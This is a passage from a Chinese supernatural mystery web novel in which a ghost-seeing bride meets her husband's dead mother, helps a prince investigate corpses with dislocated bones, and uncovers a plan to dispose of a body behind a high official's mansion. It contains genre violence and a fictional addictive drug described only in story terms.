她看见,一个人正在用袖子,仔仔细细,一点儿一点儿的牌位。 那人一身宫妃盛装,戴着金银珠钗,一双手青葱嫩白。 只是瘦弱的很,像是吹一口气就会倒一样。 听见靳朝言说话的声音,那人缓缓地抬头,转身,看了过来。 那是一张美丽无比的脸。 但是也无比憔悴。 那张脸和靳朝言有七分相似。 安槐听人说过,靳朝言长的像母亲。 女子就这么看着靳朝言,看着看着,眼泪汪汪。 她往前走了几步,到了靳朝言面前,伸手想要摸他,可是穿了过去,她摸不到靳朝言。 安槐轻声道:“殿下,你……有母亲的画像吗?我想看看母亲长的什么样子,记住她的样子。” 靳朝言没想到安槐这么有心。 但是他说:“我书房里有,没带在身上。” 谁会把母亲的画像随身带啊,就算是心上人的,也没几个随身带的。 “那……你能给我说说母亲的样子吗?” 靳朝言缓缓道:“我五岁的时候,母妃就过世了,其实我对她的印象也有些模糊。但是父皇说,我长的像母妃。她有一张绝美的脸,双眼皮,尖下巴,眼下有一颗痣。” 靳朝言说的,一小半是儿时的记忆,一大半是书房里的画像。 安槐看那女子,果然眼下有一颗痣。 她心里暗惊。 这都快十几二十年了,怎么盛妃的魂魄还在此处?早该转世投胎了才对? 她周身围绕着悲哀的气息,那忧伤怨念几乎要实体化了。 靳朝言看不见,但是他的心情也跟着低沉哀伤了起来。 安槐拜完之后,问靳朝言:“殿下,我能单独和母妃说几句体几话吗?” 靳朝言愣了一下。 他觉得,要单独说,难道不是自己吗? 安槐有什么好说的? 如果母妃还活着,婆婆儿媳单独说几句女眷之间的话,那也正常。 可母妃已经去世,对牌位,说什么? 可安槐很认真,一点儿闹着玩儿的意思都没有。 靳朝言终于点了点头,起身先退了出去。 盛秋芳并没有追上去,只是留恋的看着他,一直到他的背影消失,这才恋恋不舍的收回目光。 她眼里,只有靳朝言,好像看不见安槐一样。 安槐一直等靳朝言走了出去,重新又拜了三拜。 “母妃,我是您新进门的儿媳妇,来给您请安了。” 这话和刚才没有什么区别,但是话音落下,盛秋芳愣了一下,像是被雷劈裂一样,愕然回首。 这一次,她听见了,也看见了。 安槐看着她。 四目相对,盛秋芳一脸惊恐。 “你看得见本宫?” 安槐没有说话,只是微微点头。 靳朝言就站在外面不远,他是习武之人,听力极好,自己在里面说的话,他都是能听见的。 所以不可胡言乱语。 免得让他觉得自己闹鬼了。 “这怎么可能,你怎么可能看得见本宫?” 盛秋芳不可置信地在安槐面前走来走去,安槐就随着她转动视线。 “真的,你真的能看见本宫,还能听见本宫说话!” 盛秋芳突然笑了,笑着笑着又哭了。 “你竟然能看见本宫,这么多年了,终于有人能看见本宫了……” 盛秋芳突然停在安槐面前,伸手想要触碰她的脸。 但显然是触碰不到的,她的手指穿了过去。 盛秋芳面上显出一丝失望。 她看了看自己的手。 白得惨白,不似活人。 是了,她本来就不是活人。 安槐说:“母妃,您如果有什么未尽之事,有什么想说的,想要的,没做完的。您都可以托梦给我,我一定会尽力帮你完成心愿的。” 这话靳朝言在外面听着,没有什么问题。 盛秋芳在里面听着,却是另一回事。 “安槐,你叫安槐?”盛秋芳迟疑着:“本宫只记得一觉睡醒,就到了这里,然后怎么也走不出去。你,能帮帮本宫吗?” 安槐说:“母妃,今日来得仓促,过几日我再来看您,给您带喜欢的糕点。您要是给我托梦,有什么想要的,我也一并给您带来。” 盛秋芳听懂了。 “你能看见我,那是不是能救我?” 安槐轻轻点头。 盛秋芳擦了擦眼泪。 “那本宫等你,好孩子,本宫等你,你一定要来啊。” 安槐又点了点头。 盛秋芳看了一眼殿外靳朝言的背影,轻声说:“就算不来也没有关系,言儿成婚,本宫很高兴。你们好好的,本宫就算一辈子走不出去,也安心了。” 安槐笑了一下。 “母妃,您放心,我一定会照顾好三皇子,也一定……会常来祭拜您的。” 时间差不多了,安槐也不能耽搁太久。 她起身走了出去。 盛秋芳死后灵魂不散,被困在家庙,她的死怕是没有那么简单。 靳朝言在外面听着安槐和母亲说话,神情缓和许多。 除了自己对她的猜忌之外,安槐无可挑剔。 她虽然可疑,但只是可疑,并无证据。 靳朝言在军中多年,处置一个人,总要有真凭实据才好。 就凭感觉怀疑,是绝不能定一个人的罪的。 回了府,靳朝言说:“我还有公务在身,夫人自便就好。” 安槐福了福,送靳朝言离开。 然后一抬手。 九条应声而落下。 安槐和靳朝言婚前就有约定,不拘束她的自由。 不必守在深宅内院。 于是安槐带着鸟儿,出门了。 她知道靳朝言这些日子在忙什么,想帮帮忙。 昨晚滋味太美妙,她可不想靳朝言每天忙的在书房,晚上连卧室都没时间回,那不是耽误自己的事情吗? 第42章 折骨,刚死的都长蛆了 安槐刚走到街上。 出事了。 就在早上的点心铺子前,围了一堆人。 安槐挤进去一看,躺在地上的正是早上那个拿了点心不给钱的小女孩。 她躺在地上,一动不动,嘴角有点心屑,手上还拿了半块没啃完的点心。 点心铺子掌柜在一边慌乱摆手。 “不是我,不是我,跟我没关系。” “我的点心都是好的。” “我没害她……” 看掌柜那样子,就快要哭出来了。 安槐找周围的人打听了一下,才知道情况。 就在刚才,这小姑娘又去点心铺子里拿点心吃。 因为上午她替小姑娘给了掌柜一块银子。 那块银子够好几大包点心了,所以下午掌柜看见小姑娘又来,就没有说什么。 不但没说什么,还给了她一包点心。 老板算是挺有良心的了。 小姑娘接了点心,就蹲在点心铺子门口,大口大口地吃。 谁知道吃着吃着,就死了。 这一下就乱套了。 有说是被噎死的,有说是被毒死的,各种各样的说法都出来了。 这对点心铺子掌柜来说,真是祸从天降,无妄之灾。 有人报了官,很快官府的人就到了。 掌柜的面如死灰。 在街上巡逻的金吾卫很快到了。 安槐走了过去。 “这人送去三皇子府。” 领头的一看安槐:“你是什么人?” “我是三皇子妃。”安槐说:“这女孩死得蹊跷,和三皇子现在正在查的一起案子有关,你把人送去,三皇子自然知道。” 金吾卫一听,立刻明白安槐说的是哪一桩案子了。 最近京城确实有一桩诡异的命案,虽然不是他们查,但是人人都接了上面的通知,要尽力协助三皇子。 不过这三皇子妃……有点怪怪的。 金吾卫一想,她也没让把人往奇怪的地方送,而是送去三皇子府。 那想来是没有问题的,不然一送去不就露馅了。 三皇子府上,仵作已经将死在回春堂火场里的女孩解剖了。 和他推测的一样。 女孩并非死在这一场火里,而是死在七天前的某一场火里。 至于为什么全身的骨头都是散的,像是被人取出来,掰开,又塞进去一样。 这个仵作不知道,只知道自己从未见过这样的情况。 谁想到呢,不过一天相隔,又来了一具相同的尸体。 靳朝言刚准备进牢房,尸体送来了。 安槐也跟了过来。 她解释了一下自己为什么会跟着尸体一起过来,靳朝言听说是上午那个偷了点心的孩子,就明白了。 仵作很快到了。 此时,孩子的尸体就放在王府一间偏房里,上面盖着一张白布。 女孩吃的点心已经检查过了,点心是无毒的。 这家点心店在最热闹的街道上,每天要卖出去无数的点心,如果他家点心有毒的话,那要死的人就多了。 祖文彬哼哧哼哧地跑了过来,这两天他也怪忙的。 不但忙,还有点心神不宁。 他当了大半辈子的仵作,说实话,胆子不可谓不大。 他一直觉得自己是什么场面都见过的狠人,半夜在坟地里现挖现验尸的情况都是有过的,百无禁忌,什么都不怕。 但这几天接连几具诡异的尸体,确实让他有点心里发毛。 一听靳朝言说又是个小女孩,心里更毛了。 祖文彬将工具箱放在地上,伸手去掀盖着尸体的白布。 动作顿了一下,问一旁的杭玉堂:“杭大人,这次,是刚死的吗?” “绝对是。” 杭玉堂肯定地说:“今天上午我们还看着她的,活蹦乱跳的。哦,你看这点心,刚才还吃了点心,我们看着的时候,点心都没咽完,也不知道是不是吃得太急噎着了。” 祖文彬放心了一点。 刚死新鲜的,再怎么也不会太可怕。 就是诈尸也要一定时间呢。 祖文彬掀开了白布。 看了一眼。 其他人也都看了一眼。 大家的脸色都变了。 好几个忍不住的,出去吐了。 祖文彬的脸色也很难看。 靳朝言虽然勉强忍着,但看得出来,也只是勉强忍着。 他甚至不敢开口,怕一开口,也要吐。 刚才送来的时候,还是一具新鲜刚死的尸体,可是现在,分明是一具已经死了多日,腐烂得不成样子的尸体。 尸体的衣服下面一动一动的。 祖文彬用根棍子挑开一点。 衣服下面,是密密麻麻的驱虫。 剩下一半没吐的,也出去吐了。 靳朝言也出去了。 一时间,房间里只剩下仵作祖文彬和安槐。 两人对视了一眼。 安槐想的是,祖仵作真是个厉害的仵作,这样的场面也还是那么冷静。 祖文彬想的是,三皇子妃,真可怕,她竟然不怕! 难道庄子里真的那么锻炼人? 三皇子妃以前过的是什么日子呦,真是怪可怜的。 安槐也没出去安慰靳朝言,她觉得靳朝言现在应该并不喜欢她的安慰,这种不太风光的事情,当做不太知道就好。 让他找个没人的地方,默默的吐吧。 “祖仵作。”安槐不但没有夺路而逃,反而往前走了一步,看着尸体:“你觉得这具尸体,死了多长时间了?” 祖文彬皱眉略一思考。 “如今是夏天,天热,尸体死亡两天就会生蛆。” “她是怎么死的?” “是……是被什么窒息死亡的,也就是噎死的。” “是她手里的这块糕点吗?” 糕点和糕点,也是不一样的。 “这……并不能确定。” 尸体已经高度腐烂,从咽喉里取出的糕点已经分辨不出。 最后,安槐说:“那你看看,这具尸体的骨头是否和上一具一样,没有关联。” 祖文彬胆战心惊的检查。 然后脸色更加沉重,给了安槐肯定的答案。 这两具尸体,骨头都是散的。 跑出去吐的人,终于陆陆续续回来了。 一个个都装作云淡风轻,好像没有事情发生。 不过有少量吐完回来,看见尸体后,又出去吐了一轮。 没关系,吐着吐着就习惯了。 靳朝言叮嘱了祖文彬几句,让他仔细验尸,然后写清楚。 转头问安槐:“我要去一趟秀春楼,夫人要不要一起去?” 第43章 折骨,寻找生辰 安槐愣了一下:“我?” “对。” 安槐又反应了一下,秀春楼不是全修锦给薛云烟赎身的那个青楼吗? 靳朝言应该是要薛云烟身份的。 但是那种地方,为什么要带自己去? 不等安槐疑问出声,靳朝言先问:“去过青楼吗?” 安槐摇头。 她生前也是个大家闺秀,哪里去过那种地方? “好奇吗?” 安槐本来也想摇头的,但还是缓缓的点了点头。 多少有一点。 生前家里管的严,别说青楼这种本就不让女子去的地方,就是茶楼酒馆也没去过。 那时候的她,真是大门不出二门不迈。 但十八年循规蹈矩换来什么呢? 呵,换来三百年死不瞑目。 “好奇就跟我去。”靳朝言说:“跟我去,我至少能看着你。免得你日后好奇,自己一个人溜进去。” 安槐十分抱歉。 没想到靳朝言竟然会这么了解她。 他们果然是天生一对。 靳朝言带人去了秀春楼。 不过安槐换了一身男装,跟在靳朝言身边做个小侍卫。 就算大大咧咧如靳朝言,也不太能接受带着皇子妃逛青楼这种消息被传的到处都是。 之所以带着安槐,不是因为想带她见世面。而是现在这案子十分诡异,而安槐,是真懂一些玄幻之术。 一进门,报出身份,秀春楼里噼里啪啦跪了一地。 老鸨胆战心惊的看着靳朝言。 虽然说秀春楼不是什么高档的地方,但这种地方偏偏能见不少有身份的人。 明的暗的,老鸨是有见识的。 但她从未见过靳朝言,知道这位爷不是来寻欢作乐的。 看那表情,但着手下,是来办差的。 “殿下,您有什么吩咐?” 老板小心翼翼的问。 连景山让她准备了一个包厢。 关了门,问她:“你们这里,是否曾有一个叫云烟的姑娘?” “有。” “说来听听。” 老鸨说:“云烟三年前就已经不在秀春楼了。” “去了哪里?” “被赎走了。” “可有文书?” “有有有。”钱货两清,总要留个证明。 老鸨很快拿来了交易文书。 靳朝言看了一下。 文书没有什么问题,上面写的很清楚。 秀春楼,王山花,京城人氏。 今将本院女子薛云烟,情愿出立卖契,转归良民收纳,三面议定,立约为证。 此系三方情愿,立此绝卖文契,永不反悔。 契约一式两份,买主收执一份,青楼主事存照一份,中证人画押为凭,永为凭据。 上面有老鸨的名字,薛云烟的名字,还有买主的名字。 买主正是全修锦。 靳朝言说:“你好好想想,仔细说说,当初这全修锦是怎么看上薛云烟的?是常来的客人,本就和薛云烟熟悉,还是什么情况?” 靳朝言这一问,老鸨滔滔不绝起来。 “殿下,当时的情况我记得清清楚楚,因为当时全掌柜看上云烟这事情,和寻常的不一样。” 这一说,众人都来了兴趣。 “你仔细说说,怎么不一样?” 老鸨说:“我这秀春楼每年都有些姑娘被赎身,大多是被客人看上,或者是老相好的,赎走做了侍妾外室之类,她们被看中的不外乎是脸,或者身段,会唱曲,会讨客人欢心之类。” “但全掌柜在这之前,不是我们的客人。他来给薛云烟赎身那次,是第一次来我这。” “我知道全掌柜是入赘的,夫人管得严,从不敢来烟花柳巷,那次我见着他,也挺意外的。” 回春堂是京城最大的医馆药铺,全修锦日日都在回春堂里,老鸨认识他也无可厚非。 老鸨说:“他来了之后,不说要找个什么样的姑娘,只跟我说,要找个丁丑月,辛丑日,癸巳时的姑娘。” 安槐一听这日期,心里一动。 老鸨继续说:“我就挺奇怪的,问他为什么。他说找大师算了,这个时间出生的姑娘旺他,无论美丑,无论清倌人还是杂役婆子,只要是这个时辰的就行。他给的钱很多,我一查,云烟正好是这个时辰的,就让云烟跟他走了。” 靳朝言一想,追问了一句。 “这件事情,薛云清可知道?” “她不知道。”老鸨说:“全掌柜给我打了招呼,让我不许跟她说。” 难怪,昨日问起薛云烟为什么全修锦要给她赎身的时候,她是一问三不知的。 她就像是一个傀儡。 什么都不知道。 每天拿钱,做着一模一样的事情。 想要逃,但是逃不出去。 害怕,却又不得不去做。 从青楼出来之后,靳朝言转头问安槐:“夫人怎么看?” 安槐愣了一下。 没想到靳朝言会先问她。 靳朝言说:“我见你若有所思,似有所悟。” “确实有一点。”安槐既然是打定了主意要帮忙的,也不藏着掖着:“不过我不敢确定。” “你且说说看。” 安槐说:“我想知道全修锦的生辰。” 这好办,全修锦的资料已经查的详细的很。 诸元拿来给安槐看了一下。 安槐说:“不对,不是他。” “什么意思?” 安槐说:“如果说全修锦找到了薛云烟,是因为她的生辰。那么这个生辰一定有一个对应的人,就是说,有人作孽,才有人消除。” 靳朝言皱起眉头。 “你的意思是,全修锦背后的人?” “对。全修锦不过是一个医馆老板,还有家里看着,他哪儿来那么多钱,那么大的势力?所以他背后一定还有一个人,这个人,就是他要守护的人。” 这人作孽了,要倒霉。 然后不知道在哪里找来的可以化解的办法,这才有了万贤山庄。 再找了一个生辰八字互补的人,诵经镇压。 诸元说:“王妃,那您知道另一个生辰是什么吗?是不是只要找到这个生辰的人,就是幕后的那个人?” “可以这么说。但是这个生辰我要算一下……毕竟我也不是专业的,要是我师父在,说不定可以一口报出来。” 其实安槐是能一口报出来的。 但是这幕后的人,她觉得很危险。 她打算现自己探一探,看情况再告诉靳朝言。 毕竟靳朝言是她一定要保护的人。 第44章 折骨,极乐散 安槐一点儿都没有不愿意帮忙的样子,靳朝言当然不能说什么。 难道还能掐着她的脖子,让她把凶手的生辰八字吐出来吗? 安槐回府算生辰八字去了。 靳朝言也没歇着。 他留在回春堂门口,盯着看看凶手会不会回头的手下,抓到了一个可疑的男人。 男人被押了过来。 “殿下,抓到一个可疑人员。”手下挺兴奋:“属下看着他鬼鬼祟祟地翻墙进院子,溜进回春堂的库房里,也不知道在翻什么东西。” 本来,手下是没有打草惊蛇的,想看看他到底在翻找什么。 可惜这人胆子太小。 正翻着呢,听着外面猫叫了一声,吓得赶紧就要跑。 那就不能再等了,于是侍卫赶紧将人抓了。 靳朝言看着那男人。 三十来岁,瘦得不成样子,尖嘴猴腮的。 脸色白的有些病态,怎么看,怎么不想是个好人。 男人哪里跟靳朝言这样身份的人打过交道,被侍卫押来的这一路上已经吓掉了半条命。 看见靳朝言之后,又差点送掉半条命。 他哐哐哐地磕头。 “三皇子殿下,小的不是凶手,真的不是凶手。” “那你说说,你偷偷溜进回春堂想做什么?” 男人说:“小的就是手上紧,想着回春堂现在没开门,里面也没人,我想偷点钱周转。” 侍卫立刻说:“胡说。我明明白白看见你在库房里翻找什么,库房抽屉里有银子和铜钱,桌上柜子上也有各种摆件,你怎么一个都不拿。而是在药材堆里翻找?” 男人脸色发白,还想狡辩。 “小的,小的就是太紧张了,所以没看见。而且小的也不知道抽屉里有银子啊,就是慌得随便翻翻……” 靳朝言缓缓道:“看来是不见棺材不落泪了,来人,先卸他一只胳膊。要是不说实话,再卸另一只。” 手下应着,抽出刀来。 寒光闪闪。 男人一听吓坏了。 眼见着自己的胳膊被拽了起来,马上就要离开自己去远航,他吓得一边往后退,一边喊:“我说,我说,殿下饶命。” 靳朝言在民间的名声,先不谈好或者坏,反正凶是肯定凶的。 谁不知道他在边关杀人不眨眼。 至于杀的是敌人还是自己人,这个你别管,反正杀人对他来说,是件很顺手的事情。 男人一点儿都不怀疑,自己如果不说,或者说得让他不满意,靳朝言会毫不犹豫地把他剁了。 靳朝言抬手让侍卫停下动作。 “你说说看,要是说得满意,我就饶你一命。” 男人哆嗦着说:“小的是去找药的。” 这简直比去偷钱还要扯淡。 靳朝言毫不犹豫地说:“砍。” 男人一嗓子叫破了音。 “殿下,小的说的是真话。” 靳朝言不耐烦地看着他:“那你说说,你去拿的是什么药?” 看得出来,他已经相当不耐烦了。 只要男人这句话说出来不是他想听的,这条胳膊就真的保不住了。 男人小心翼翼地让自己离刀锋远一点,颤抖着说:“是,是极乐散。” “你说什么?” 靳朝言一下子站了起来。 极乐散,不是什么好东西。 这是几种野草炼制,人服用之后会产生幻觉,短时期内会感觉无比快乐,欲仙欲死,仿佛整个人在仙界。 但极乐散会叫人上瘾,一旦服食,就需要长期服食,而且剂量一次要比一次大。 要不然就会十分难受,全身刺痛,仿佛血管里有无数蚂蚁在爬。 就算是再能忍的硬汉,也很难忍过这万蛊蚀心一般的痛楚。 可即使长期服食,也会造成心神错乱,最终暴血而亡。 这是朝廷明令禁止的东西。 “是,是极乐散,回春堂一直偷偷在卖极乐散。” “他是怎么偷偷卖的?” 男人既然都已经说了,那就破罐子破摔了:“开始小的是因为摔伤了腿,痛得厉害,实在是忍不了,求了全掌柜许久,他看我可怜,给我开了两剂。” “那东西服下之后,真的能感觉到痛楚慢慢消失,非常舒服。” “可后来,吃了还想吃,一日不吃就难过。只好再去找他,不管多少钱,也得买来,不然恨不得去死。” 靳朝言有些怀疑。 “这极乐散可不便宜,你这样子,能买得起?” 男人眼中闪过一抹懊悔。 “小的原先也是有些家底的,可自从吃了这极乐散,为了买他,家底也花光了,宅子也卖了,妻子也跟了别人……呜呜呜……” 说着说着,男人哭了起来。 问他后悔不后悔,肯定后悔。 谁想妻离子散,家破人亡呢? 但在瘾上来的时候,一切都要靠边站,那时候只想着吸一口,进入极乐,其他什么都管不了了。 靳朝言道:“所以,你去回春堂是想找极乐散?” “是。” 男人说:“小的家里没剩下多少了,今天路过回春堂,一看大门关了,小的就想,趁没人进去看看,不然等家里那些用完了,后面可怎么办啊?没有药那可太难受了。” 男人一脸的愁。 问了一通,再问不出什么了。 靳朝言也是个好人。 他叫手下把男人丢进牢房里,绑上。 给他一个完全接触不到极乐散的环境,看看他自己能不能熬过去。 熬过去,说不定还能活,也能戒了。 要是熬不过去,那也省得放出去害人。 这种人现在还有理智,可一旦发作就像是野兽一样,到时候谁也不知道他会做出什么事情来。 到时候别说是无辜陌生人,就算是父母妻儿也六亲不认。 将男人处置之后,诸元说:“殿下,咱们要不再去回春堂搜一遍,极乐散这种禁药,他一定不会放在药铺里。一定有什么隐蔽的地方。” 比如密室什么的。 靳朝言又带人去了回春堂。 此时,安槐正在房间里发愁。 现在有个情况很麻烦。 生辰八字她算出来了,但是怎么去找呢? 她那些不太能见光的找人手段,肯定是晚上比较好施展。 但是晚上要陪靳朝言睡觉。 她是可以把人弄晕了出去,但三皇子府不比松松垮垮的永安侯府,万一被人看见了,那就麻烦了。 第45章 折骨,无脸木头人 白天不好做事,晚上不好出门。 安槐陷入了一个两难的境地。 终究,她在白天的偷偷摸摸和夜晚的偷偷摸摸中,选择了关上门偷偷摸摸。 安槐叫来小喜和柳嬷嬷,让她们守在院子里。 “我有点困,要休息。你们在院子里待着,别让任何人进来吵我。” “是。” 也不要她们做什么,就在院子里的桌子上做做女红什么的,盯着就行。 柳嬷嬷又问了一句:“要是殿下来了怎么办呢?” 她们可不敢拦着靳朝言。 再说,也没有理由拦着靳朝言。 “殿下今日忙,估计没时间来找我。”安槐说完,想想加了一句:“这样吧,如果殿下来找我的话,你们就大声通报。殿下一出现在院子门口,你们就大声通报。” 主要起一个传递信息的作用。 两人都应了。 安槐进了房间,关上门。 柜子里,有一个小箱子。 这箱子靳朝言没看过,不过理所应当以为这些是安槐的私房钱,什么银票啊,头面之类的。 只有最没用的男人,才会打自己妻子嫁妆和私房钱的主意。 虽然安槐一早就把自己的嫁妆送到王府来保存了,但是他一句话都没有多问过。 安槐将盒子抱到梳妆台上,打开。 里面却不是什么金银元宝,银票地契什么的。 是一块一块木头疙瘩。 大小,粗细都不一样,有的拳头大小,有的手腕粗细。 安槐从里面挑了一块小的,将箱子又放回去。 然后,她打开了梳妆台的抽屉,从里面拿出一把小刀。 安槐拿着小刀在木桩上雕刻起来。 没想到她还有这样的手艺。 随着木屑落在桌上,一个人形出现了。 有脑袋,有身体,有胳膊。 但是脑袋上没有五官。 因为安槐也不知道这人的五官。 等安槐放下刻刀,这人依然没有脸。 一个无脸木头人,不能细看,细看有点恐怖的感觉。 安槐端详了一下,十分满意。 然后她走到书桌边,研磨提笔,在纸条上写下了推断出来的生辰八字。 将生辰八字贴在了木头人那一张没有五官的脸上。 那一瞬间,纸条一闪,上面的字消失了。 安槐口中默念了两句, 只见木头人身上突然长出了无数绿色的藤蔓。 那些藤蔓都非常细,好像是头发丝一样。 藤蔓往四面八方散开,飞快地生长,一直长一直长,穿过桌椅,穿过门窗,消失在门外墙外。 外面只有柳嬷嬷和小喜,两人一边做活儿,一边低声说话。 她们俩现在都很庆幸自己跟着安槐来了三皇子府。 之前把三皇子说的那么那么可怕,好像过来就会被打死一样。 其实三皇子府里的人都挺正常的,也没人打骂她们,也没人给她们脸色看。 相反的,都知道她们是安槐的陪嫁丫鬟婆子,大家都还挺客气。 毕竟三皇子府里的老大,除了靳朝言就是安槐了。 只要靳朝言表现出对安槐的喜爱和客气,府里的其他下人就得掂量掂量,谁也不敢轻视。 无数的绿色藤蔓从她们身边穿过,但是她们就像是看不见一样,一点反应都没有。 安槐看着木雕,皱了眉头。 这……好像不太行。 纸条上的生辰是九月二十二日,是和薛云烟生辰相对应的生成八字。 这每一根藤蔓,对应的是一个在此时此刻出生的人。 她大意了,没想到世上在这一时刻,有这么多人出生。 安槐连忙给了木头人一巴掌。 藤蔓没有再继续生长了。 安槐将藤蔓揣进袖子里,出门去找薛云烟。 柳嬷嬷和小喜一见她出来了,连忙走过去:“娘娘,您怎么起身了,是我们说话声音太大,吵着您了吗?” “没有,我突然想起来有点事情要办。” 安槐摆了摆手:“你们自去忙吧,不用管我。” 说完,安槐就出去了。 两人也不敢问,也不敢跟。 虽然说内宅主母天天出门实属不妥,但靳朝言都不说什么,她们做下人的,还能说什么不成? 王府的宅子,一分为二。 内宅是休息区。 也是女眷的活动区。 垂花门外,是外院。 是靳朝言工作的地方。 他刚回京,还没有在朝中任职,也不用去哪个衙门办公,有什么事务,比如现在在查的这几起案子,也都是带回王府处理。 三皇子妃,按理说是应该连外院也不去的。 要不怎么叫大门不出,二门不迈呢? 但三皇子妃不是寻常人。 安槐可不管那么多。 安槐去了牢房。 牢房守卫看见安槐后吓了一跳,连忙行礼。 “免礼。”安槐说:“带我去见薛云烟。” 守卫愣了一下。 安槐说:“就是昨天抓回来的女子。” 守卫有点犹豫。 安槐那蠢蠢欲动的巴掌啊。 好在守卫还是懂事的,只是犹豫了一下,就开门带路了。 薛云烟一脸死气沉沉被关在牢房里。 守卫打开门。 安槐走了进去。 薛云烟抬眼看她,有些不解。 还没问话呢,安槐伸手。 薛云烟哎呦一声,捂住了脑袋。 安槐拔了她几根头发。 然后就走了。 留下一脸懵的薛云烟和看守。 “哎……哎……” 薛云烟抬起尔康手。 看守呵斥她:“什么哎,这是三皇子妃娘娘。” 安槐的身影已经消失在尽头。 薛云烟忍不住问:“娘娘拽我的头发,是做什么?” 这问题问得好。 看守又怎么会知道? 他又不想说不知道,觉得那样显得没面子。 于是守卫沉着脸说:“拔了就拔了,不该问的别问。” 守卫也走了。 安槐拿了头发,也懒得回房间了。 就在路边找了个亭子坐下,将薛云烟长长的头发绕了两圈,绑在了无脸木头人的脖子上,系紧了。 系好之后,只见本来木头人上发散出去的无数藤蔓都开始枯萎。 枯萎的速度就像是生长的速度,肉眼可见。 当所有的藤蔓都枯萎消失的时候,一抹绿色出现在枯藤中。 还有一根没有枯萎的,不但没有枯萎,反而更加粗壮。 很好,就是它了。 安槐将无脸木头人往怀里一揣,顺着那藤蔓伸展的方向,走了出去。 第46章 折骨,杀人灭口 走出了三皇子府,走出了长街,走着走着,到了一处同样高大巍峨的府邸门口。 藤蔓穿进大门,进了府邸。 安槐一看。 这是太子太傅裘讷的府邸啊。 太子太傅,从一品,东宫三师之一,教习太子礼法,政事,辅正言行,可是一等一的大员。 当今太子靳从行,皇帝皇后所出,嫡长子,名正言顺,地位稳固。 太子太傅是太子的老师,他的长女裘泞,就是如今的太子正妃。 这是门当户对的婚嫁。 日后太子登基,太子太傅就是辅政大臣,两家既是师生翁婿亲上家亲,又是皇权和顶级文官集团的强强联合。 安槐站在裘府门口,有点头痛。 她知道靳朝言出生高贵,底气十足。 但是没想到皇城卧虎藏龙,一块板砖能砸死五个当官的。 不找不知道,一找吓一跳,这就找到了太子太傅家门口。 如果这案子罪魁祸首是太子太傅家的人,也不知道靳朝言能不能扛的住,他毕竟只是区区一个从边关刚回来的皇子,在边关可能一呼百应,但是在皇城没什么根基,也没什么人脉。 安槐正想着,九条叫了一声,从天而降。 但是不是落在安槐肩上,而是扒拉她胳膊。 “怎么了?” 安槐不明白。 九条扒拉完她的胳膊,往前飞去。 飞不了多远停下,回头看她。 这鸟确实有灵性,不是一般的灵性,就差一个开口说话了。 安槐顿时明白了,九条让她跟着走。 她被挡在了裘府门口,但九条有翅膀,可以四处飞,谁也挡不住。 安槐匆匆跟上了九条的翅膀。 七弯八转的,被九条带进了一个小巷子。 幸亏她艺高人胆大,要不然都要怀疑九条是为了把她骗到没人的地方弄死。 巷子越走越深,很快就听不见外面街道上的人声了。 安槐听见了有人说话的声音。 “快点快点,小心点,别让血滴在地上了。” 一个男人压着嗓子,快速不耐烦地说:“都给我嘴闭严点知道吗?万一被人知道了……” 随着说话声的,还有脚步声。 然后戛然而止。 安槐转过了一个转角。 对面是一个死胡同的尽头,停着一辆灰扑扑的马车。 两个小厮正一前一后抬着个麻袋,费力地将麻袋往马车车厢上塞。 麻袋上,有渗出来的血迹。 一旁站着个中年男人在指挥,看起来是管家一类的人。 他话还没说完,就和安槐对了个正着。 大眼瞪小眼,一时无语。 九月落了下来,站在安槐肩膀上。 安槐看了一眼麻袋。 麻袋里赫然是个人形。 还有一些生机,但生机很弱,已经救不活了。 最怕空气突然沉默。 杀人灭口的时候,最怕被人撞破。 还是安槐先开了口:“你们这是在干什么,准备抛尸吗?” 这句话一出,本来脑子还在转着,这事情能不能敷衍过去的男人,顿时脑子里只剩下杀人灭口四个字。 他回头看了一眼两个小厮,给他们使了个眼色。 两人明白,放下了手里的麻袋。 看安槐这打扮,也是京中贵女,不是一般的老百姓。 他们也不想得罪,但被撞破了,就必须灭口了。 偏偏安槐又问:“这是裘府后院,这是……裘大人杀人了,让你们毁尸灭迹?” 这话一出,三人几乎要吓死。 男人本来还打算跟安槐虚伪一下,再找机会把人抓住。 现在也顾不上了,直接就扑了过去。 这常年不见人的死胡同里,不会遇见外人,只要把安槐抓住弄死,也往马车里一塞,再往城外一运,一埋。 天衣无缝。 没有人敢搜查裘府的马车,就算安槐家人发现人失踪了四下寻找,只要没有铁证,谁又会怀疑上他们。 男人正要抓住安槐,突然九条扑了过去。 二话不说就是一爪子。 九条的爪子,那可是和铁钩子一样的。 男人一声惨叫,手捂住眼睛。 鲜血从指缝里渗了出来,两个小厮都吓傻了。 九月洋洋得意在低空盘旋,要是仔细看就能看见,它爪子上的不仅有血,还挂着个眼珠子。 “战斗力还挺强的。”安槐自言自语。 看来在永安侯府那天晚上追着安明珠跑,是吓唬她的,要是动真格的,安明珠早就被弄死了。 九月飞了两圈,停在马车顶上。 它对死人的气息特别敏感。 两个小厮都吓傻了。 男人全身颤抖地指着安槐。 嘶吼道:“还愣着干什么,把她给我拿下。她要是不死,我们都得死。” 两个小厮这才回过神来,一起冲了过去。 刚往前走了两步,突然觉得脚下被什么绊住了。 往前冲的力气太大,两人一时控制不了平衡,摔倒在地。 疑惑地转头去看自己的腿,可是腿上什么都没有。 安槐走到一个小厮身边,拍了拍他的脸。 “废物。” 小厮脸都涨红了,抬手一拳打了过去。 安槐只伸手一抓,一折。 骨头便断了。 小厮的惨叫声,盖住了,男人的惨叫声。 男人抽着冷气说:“你,你是什么人?这可是太子太傅府的事情,你不想活了吗,敢管裘府的事情。” 安槐笑了笑。 “我是不敢管,但天子脚下,总有能除暴安良的地方。走,我送你们去官府。” 男人慌了,突然转身往前跑。 这是裘府后巷,一旁就有个通往裘府的小门。 男人在门口使劲儿的拍,好像想要喊救兵一样。 安槐可没空大战裘府三千家丁,她走上前去一把拽住男人后领子。 这男人能被安排做这种隐秘的事情,可见其在裘府的身份地位不低。直接把人抓走,送官。 不管最后怎么样收场,至少可以给裘家制造一些麻烦。 有时候,固若金汤的防守,撕开一个角,就会一点点崩盘。 安槐刚要用力将人拖进马车,突然,听见马车里发出一声小孩子的哭声。 是那种刚出生的婴儿的哭声。 安槐猛地回头。 这麻袋里,该不会是一个婴儿吧? 不对,婴儿哪有那么大。 从外面看,分明是一个臃肿的成年人。 难道是几个孩子? 安槐顿时头大。 她二话不说一巴掌拍向男人的后脖子。 男人软趴趴地昏了过去。 第47章 折骨,哭泣的鬼婴 九条落下地来,站在两个小厮面前。 在地上找了块石头蹭爪子。 